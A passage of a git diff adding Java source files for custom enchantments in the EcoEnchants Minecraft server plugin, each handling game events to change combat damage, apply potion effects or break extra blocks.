HasEnchant.getPlayerLevel(player, this); + double multiplier = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "bonus-per-level"); + + event.setDamage(event.getDamage() + (level * multiplier)); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Cerebral.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Cerebral.java new file mode 100644 index 00000000..5d8c7478 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Cerebral.java @@ -0,0 +1,48 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.Arrow; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; + +@SuppressWarnings("deprecation") +public class Cerebral extends EcoEnchant { + public Cerebral() { + super( + new EcoEnchantBuilder("cerebral", EnchantmentType.NORMAL, new Target.Applicable[]{Target.Applicable.BOW, Target.Applicable.CROSSBOW}, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onCerebralDamage(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Arrow)) return; + + if (!(((Arrow) event.getDamager()).getShooter() instanceof Player)) return; + + if (!(event.getEntity() instanceof LivingEntity)) return; + + Player player = (Player) ((Arrow) event.getDamager()).getShooter(); + Arrow arrow = (Arrow) event.getDamager(); + LivingEntity victim = (LivingEntity) event.getEntity(); + + + if (!(arrow.getLocation().getY() >= victim.getLocation().getY() + victim.getEyeHeight() - 0.22)) return; + + if (!HasEnchant.playerHeld(player, this)) return; + int level = HasEnchant.getPlayerLevel(player, this); + + double multiplier = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "multiplier"); + + double damageMultiplier = (level * multiplier) + 1; + + event.setDamage(event.getDamage() * damageMultiplier); + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Chopless.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Chopless.java new file mode 100644 index 00000000..97207c70 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Chopless.java @@ -0,0 +1,47 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; + +@SuppressWarnings("deprecation") +public class Chopless extends EcoEnchant { + public Chopless() { + super( + new EcoEnchantBuilder("chopless", EnchantmentType.NORMAL, Target.Applicable.ARMOR, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onPreservationHurt(EntityDamageByEntityEvent event) { + if(!(event.getDamager() instanceof Player)) + return; + + if (!(event.getEntity() instanceof Player)) + return; + + Player player = (Player) event.getEntity(); + Player damager = (Player) event.getDamager(); + + if(!Target.Applicable.AXE.getMaterials().contains(damager.getInventory().getItemInMainHand().getType())) + return; + + int totalChoplessPoints = HasEnchant.getArmorPoints(player, this, true); + + if (totalChoplessPoints == 0) + return; + + double reduction = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "percent-less-per-level"); + + double multiplier = 1 - (reduction/100 * totalChoplessPoints); + + event.setDamage(event.getDamage() * multiplier); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Cleave.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Cleave.java new file mode 100644 index 00000000..8a799feb --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Cleave.java @@ -0,0 +1,67 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.Main; +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Cooldown; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.Bukkit; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; +import org.bukkit.metadata.FixedMetadataValue; + +@SuppressWarnings("deprecation") +public class Cleave extends EcoEnchant { + public Cleave() { + super( + new EcoEnchantBuilder("cleave", EnchantmentType.NORMAL, Target.Applicable.AXE, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onDamage(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Player)) + return; + if (!(event.getEntity() instanceof LivingEntity)) + return; + + Player player = (Player) event.getDamager(); + + LivingEntity victim = (LivingEntity) event.getEntity(); + + if(victim.hasMetadata("cleaved")) + return; + + if(event.getEntity() instanceof Player) { + if(!AntiGrief.canInjurePlayer(player, (Player) event.getEntity())) return; + } + + if (!HasEnchant.playerHeld(player, this)) return; + + if (Cooldown.getCooldown(player) != 1.0f && !this.getConfig().getBool(EcoEnchants.CONFIG_LOCATION + "allow-not-fully-charged")) + return; + + int level = HasEnchant.getPlayerLevel(player, this); + + double damagePerLevel = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "damage-percentage-per-level") * 0.01; + double radiusPerLevel = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "radius-per-level"); + final double damage = damagePerLevel * level * event.getDamage(); + final double radius = radiusPerLevel * level; + + victim.getNearbyEntities(radius, radius, radius).stream() + .filter(entity -> entity instanceof LivingEntity) + .filter(entity -> !entity.equals(player)) + .forEach(entity -> { + entity.setMetadata("cleaved", new FixedMetadataValue(Main.getInstance(), true)); + ((LivingEntity) entity).damage(damage, player); + Bukkit.getScheduler().runTaskLater(Main.getInstance(), () -> entity.removeMetadata("cleaved", Main.getInstance()), 5); + }); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Collateral.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Collateral.java new file mode 100644 index 00000000..62f190ca --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Collateral.java @@ -0,0 +1,42 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.Arrow; +import org.bukkit.entity.EntityType; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.ProjectileLaunchEvent; + +@SuppressWarnings("deprecation") +public class Collateral extends EcoEnchant { + public Collateral() { + super( + new EcoEnchantBuilder("collateral", EnchantmentType.NORMAL, Target.Applicable.BOW, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onCollateralShoot(ProjectileLaunchEvent event) { + if (event.getEntityType() != EntityType.ARROW) + return; + + if (!(event.getEntity().getShooter() instanceof Player)) + return; + + Player player = (Player) event.getEntity().getShooter(); + + if (!HasEnchant.playerHeld(player, this)) return; + + int level = HasEnchant.getPlayerLevel(player, this); + + if (!(event.getEntity() instanceof Arrow)) return; + Arrow a = (Arrow) event.getEntity(); + + a.setPierceLevel(level); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Cranial.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Cranial.java new file mode 100644 index 00000000..fb2a58ab --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Cranial.java @@ -0,0 +1,52 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.nms.TridentStack; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.entity.Trident; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; +import org.bukkit.inventory.ItemStack; + +@SuppressWarnings("deprecation") +public class Cranial extends EcoEnchant { + public Cranial() { + super( + new EcoEnchantBuilder("cranial", EnchantmentType.NORMAL, Target.Applicable.TRIDENT, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onDamage(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Trident)) return; + + if (!(((Trident) event.getDamager()).getShooter() instanceof Player)) return; + + if (!(event.getEntity() instanceof LivingEntity)) return; + + Player player = (Player) ((Trident) event.getDamager()).getShooter(); + Trident trident = (Trident) event.getDamager(); + LivingEntity victim = (LivingEntity) event.getEntity(); + + + if (!(trident.getLocation().getY() >= victim.getLocation().getY() + victim.getEyeHeight() - 0.22)) return; + + ItemStack item = TridentStack.getTridentStack(trident); + + if (!HasEnchant.item(item, this)) return; + int level = HasEnchant.getItemLevel(item, this); + + double multiplier = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "multiplier"); + + double damageMultiplier = (level * multiplier) + 1; + + event.setDamage(event.getDamage() * damageMultiplier); + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Criticals.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Criticals.java new file mode 100644 index 00000000..ca425691 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Criticals.java @@ -0,0 +1,43 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; + +@SuppressWarnings("deprecation") +public class Criticals extends EcoEnchant { + public Criticals() { + super( + new EcoEnchantBuilder("criticals", EnchantmentType.NORMAL, new Target.Applicable[]{Target.Applicable.SWORD, Target.Applicable.AXE}, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void criticalHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Player)) + return; + if (!(event.getEntity() instanceof LivingEntity)) + return; + + Player player = (Player) event.getDamager(); + + LivingEntity victim = (LivingEntity) event.getEntity(); + + if (!HasEnchant.playerHeld(player, this)) return; + + if (!(player.getFallDistance() > 0 && !player.isOnGround())) + return; + + int level = HasEnchant.getPlayerLevel(player, this); + + event.setDamage(event.getDamage() * ((level * this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "damage-multiplier-per-level")) + 1)); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Deflection.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Deflection.java new file mode 100644 index 00000000..eb0b3437 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Deflection.java @@ -0,0 +1,53 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; + +@SuppressWarnings("deprecation") +public class Deflection extends EcoEnchant { + public Deflection() { + super( + new EcoEnchantBuilder("deflection", EnchantmentType.NORMAL, Target.Applicable.SHIELD, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onDeflect(EntityDamageByEntityEvent event) { + if (!(event.getEntity() instanceof Player)) + return; + + if (!(event.getDamager() instanceof LivingEntity)) + return; + + Player player = (Player) event.getEntity(); + + LivingEntity victim = (LivingEntity) event.getDamager(); + + if(!player.isBlocking()) return; + + if(victim instanceof Player) { + if(!AntiGrief.canInjurePlayer(player, (Player) event.getEntity())) return; + } + + int level; + if (!HasEnchant.playerOffhand(player, this) && !HasEnchant.playerHeld(player, this)) return; + if(HasEnchant.playerOffhand(player, this)) level = HasEnchant.getPlayerOffhandLevel(player, this); + else level = HasEnchant.getPlayerLevel(player, this); + + double perlevel = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "percent-deflected-per-level"); + double damagePercent = (perlevel/100) * level; + double damage = event.getDamage() * damagePercent; + + victim.damage(damage, player); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Defusion.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Defusion.java new file mode 100644 index 00000000..6a4f46f7 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Defusion.java @@ -0,0 +1,41 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.Creeper; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; + +@SuppressWarnings("deprecation") +public class Defusion extends EcoEnchant { + public Defusion() { + super( + new EcoEnchantBuilder("defusion", EnchantmentType.NORMAL, new Target.Applicable[]{Target.Applicable.SWORD, Target.Applicable.AXE}, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void defusionHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Player)) + return; + if (!(event.getEntity() instanceof Creeper)) + return; + + Player player = (Player) event.getDamager(); + + Creeper victim = (Creeper) event.getEntity(); + + if (!HasEnchant.playerHeld(player, this)) return; + + int level = HasEnchant.getPlayerLevel(player, this); + double multiplier = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "bonus-per-level"); + + event.setDamage(event.getDamage() + (level * multiplier)); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Dexterous.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Dexterous.java new file mode 100644 index 00000000..477d0124 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Dexterous.java @@ -0,0 +1,40 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.attribute.Attribute; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.player.PlayerItemHeldEvent; +import org.bukkit.inventory.ItemStack; + +@SuppressWarnings("deprecation") +public class Dexterous extends EcoEnchant { + public Dexterous() { + super( + new EcoEnchantBuilder("dexterous", EnchantmentType.NORMAL, new Target.Applicable[]{Target.Applicable.SWORD, Target.Applicable.AXE}, 4.0) + ); + } + + // START OF LISTENERS + + + @EventHandler + public void onDextHold(PlayerItemHeldEvent event) { + Player player = event.getPlayer(); + ItemStack item = player.getInventory().getItem(event.getNewSlot()); + + if (!HasEnchant.item(item, this)) { + player.getAttribute(Attribute.GENERIC_ATTACK_SPEED).setBaseValue(4.0); + return; + } + + + int level = HasEnchant.getItemLevel(item, this); + double bonus = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "add-speed-per-level"); + player.getAttribute(Attribute.GENERIC_ATTACK_SPEED).setBaseValue(4.0 + (level * bonus)); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Disappear.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Disappear.java new file mode 100644 index 00000000..04aa1ad1 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Disappear.java @@ -0,0 +1,47 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.Main; +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.Bukkit; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; +import org.bukkit.potion.PotionEffect; +import org.bukkit.potion.PotionEffectType; + +@SuppressWarnings("deprecation") +public class Disappear extends EcoEnchant { + public Disappear() { + super( + new EcoEnchantBuilder("disappear", EnchantmentType.NORMAL, Target.Applicable.ARMOR, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onHurt(EntityDamageByEntityEvent event) { + if (!(event.getEntity() instanceof Player)) + return; + + Bukkit.getScheduler().runTaskLater(Main.getInstance(), () -> { + Player player = (Player) event.getEntity(); + + if(player.getHealth() > EcoEnchants.DISAPPEAR.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "threshold")) + return; + + final int points = HasEnchant.getArmorPoints(player, this, true); + + if (points == 0) + return; + + int ticksPerLevel = this.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "ticks-per-level"); + final int ticks = ticksPerLevel * points; + player.addPotionEffect(new PotionEffect(PotionEffectType.INVISIBILITY, ticks, 1, false, false, true)); + }, 1); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Diverse.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Diverse.java new file mode 100644 index 00000000..fd9f7e2d --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Diverse.java @@ -0,0 +1,43 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; + +@SuppressWarnings("deprecation") +public class Diverse extends EcoEnchant { + public Diverse() { + super( + new EcoEnchantBuilder("diverse", EnchantmentType.NORMAL, Target.Applicable.AXE, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Player)) + return; + + if(!(event.getEntity() instanceof Player)) + return; + + Player player = (Player) event.getDamager(); + Player victim = (Player) event.getEntity(); + + if(!Target.Applicable.SWORD.getMaterials().contains(victim.getInventory().getItemInMainHand().getType())) + return; + + if (!HasEnchant.playerHeld(player, this)) return; + + int level = HasEnchant.getPlayerLevel(player, this); + double multiplier = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "per-level-multiplier"); + + event.setDamage(event.getDamage() * (1 + (level * multiplier))); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Drill.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Drill.java new file mode 100644 index 00000000..497bc975 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Drill.java @@ -0,0 +1,72 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.Main; +import com.willfp.ecoenchants.anticheat.AnticheatManager; +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.BlockBreak; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.SimplifyVector; +import org.bukkit.block.Block; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.EventPriority; +import org.bukkit.event.block.BlockBreakEvent; +import org.bukkit.metadata.FixedMetadataValue; +import org.bukkit.util.Vector; + +@SuppressWarnings("deprecation") +public class Drill extends EcoEnchant { + public Drill() { + super( + new EcoEnchantBuilder("drill", EnchantmentType.NORMAL, Target.Applicable.TOOL, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler(priority = EventPriority.LOW) + public void drillBreak(BlockBreakEvent event) { + Player player = event.getPlayer(); + Block block = event.getBlock(); + + if (block.hasMetadata("from-drill") || block.hasMetadata("from-lumberjack") || block.hasMetadata("from-blastmining") || block.hasMetadata("from-vein")) { + return; + } + + if (!HasEnchant.playerHeld(player, this)) return; + + if (event.isCancelled()) + return; + + if (!AntiGrief.canBreakBlock(player, block)) return; + + if(player.isSneaking() && this.getConfig().getBool(EcoEnchants.CONFIG_LOCATION + "disable-on-sneak")) return; + + int level = HasEnchant.getPlayerLevel(player, this) * this.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "blocks-per-level"); + + AnticheatManager.exemptPlayer(player); + + for(int i = 1; i <= level; i++) { + Vector simplified = SimplifyVector.simplifyVector(player.getLocation().getDirection().normalize()).multiply(i); + Block block1 = block.getWorld().getBlockAt(block.getLocation().clone().add(simplified)); + block1.setMetadata("from-drill", new FixedMetadataValue(Main.getInstance(), true)); + + if(this.getConfig().getStrings(EcoEnchants.CONFIG_LOCATION + "blacklisted-blocks").contains(block1.getType().name().toLowerCase())) { + continue; + } + + if(block1.getType().getHardness() > block.getType().getHardness() && this.getConfig().getBool(EcoEnchants.CONFIG_LOCATION + "hardness-check")) continue; + + if (!AntiGrief.canBreakBlock(player, block1)) continue; + + BlockBreak.breakBlock(player, block1); + block1.removeMetadata("from-drill", Main.getInstance()); + } + + AnticheatManager.unexemptPlayer(player); + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Dullness.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Dullness.java new file mode 100644 index 00000000..9d4e1e9e --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Dullness.java @@ -0,0 +1,57 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Cooldown; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.Rand; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; +import org.bukkit.potion.PotionEffect; +import org.bukkit.potion.PotionEffectType; + +@SuppressWarnings("deprecation") +public class Dullness extends EcoEnchant { + public Dullness() { + super( + new EcoEnchantBuilder("dullness", EnchantmentType.NORMAL, Target.Applicable.SWORD, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Player)) + return; + if (!(event.getEntity() instanceof LivingEntity)) + return; + + Player player = (Player) event.getDamager(); + + LivingEntity victim = (LivingEntity) event.getEntity(); + + if(event.getEntity() instanceof Player) { + if(!AntiGrief.canInjurePlayer(player, (Player) event.getEntity())) return; + } + + if (!HasEnchant.playerHeld(player, this)) return; + + if (Cooldown.getCooldown(player) != 1.0f && !this.getConfig().getBool(EcoEnchants.CONFIG_LOCATION + "allow-not-fully-charged")) + return; + + int level = HasEnchant.getPlayerLevel(player, this); + + if (Rand.randFloat(0, 1) > level * 0.01 * this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "chance-per-level")) + return; + + int durationPerLevel = this.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "duration-per-level"); + + victim.addPotionEffect(new PotionEffect(PotionEffectType.WEAKNESS, level * durationPerLevel, level)); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Electroshock.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Electroshock.java new file mode 100644 index 00000000..c844be80 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Electroshock.java @@ -0,0 +1,57 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.Lightning; +import com.willfp.ecoenchants.util.Rand; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; + +@SuppressWarnings("deprecation") +public class Electroshock extends EcoEnchant { + public Electroshock() { + super( + new EcoEnchantBuilder("electroshock", EnchantmentType.NORMAL, Target.Applicable.SHIELD, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onElectroshock(EntityDamageByEntityEvent event) { + if (!(event.getEntity() instanceof Player)) + return; + + if (!(event.getDamager() instanceof LivingEntity)) + return; + + Player player = (Player) event.getEntity(); + + LivingEntity victim = (LivingEntity) event.getDamager(); + + if(!player.isBlocking()) return; + + if(victim instanceof Player) { + if(!AntiGrief.canInjurePlayer(player, (Player) event.getEntity())) return; + } + + int level; + if (!HasEnchant.playerOffhand(player, this) && !HasEnchant.playerHeld(player, this)) return; + if(HasEnchant.playerOffhand(player, this)) level = HasEnchant.getPlayerOffhandLevel(player, this); + else level = HasEnchant.getPlayerLevel(player, this); + + double chance = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "chance-per-level"); + double damage = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "damage"); + + double finalChance = (chance * level)/100; + if(Rand.randFloat(0, 1) > finalChance) return; + + Lightning.strike(victim, damage); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/EnderSlayer.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/EnderSlayer.java new file mode 100644 index 00000000..e44c70a3 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/EnderSlayer.java @@ -0,0 +1,50 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.EntityType; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; + +import java.util.HashSet; +import java.util.Set; + +@SuppressWarnings("deprecation") +public class EnderSlayer extends EcoEnchant { + public EnderSlayer() { + super( + new EcoEnchantBuilder("ender_slayer", EnchantmentType.NORMAL, new Target.Applicable[]{Target.Applicable.SWORD, Target.Applicable.AXE}, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void enderSlayerHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Player)) + return; + + Set endMobs = new HashSet() {{ + add(EntityType.ENDERMITE); + add(EntityType.ENDERMAN); + add(EntityType.ENDER_DRAGON); + add(EntityType.SHULKER); + }}; + + if (!endMobs.contains(event.getEntityType())) + return; + + Player player = (Player) event.getDamager(); + + if (!HasEnchant.playerHeld(player, this)) return; + + int level = HasEnchant.getPlayerLevel(player, this); + double multiplier = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "bonus-per-level"); + + event.setDamage(event.getDamage() + (level * multiplier)); + } +} 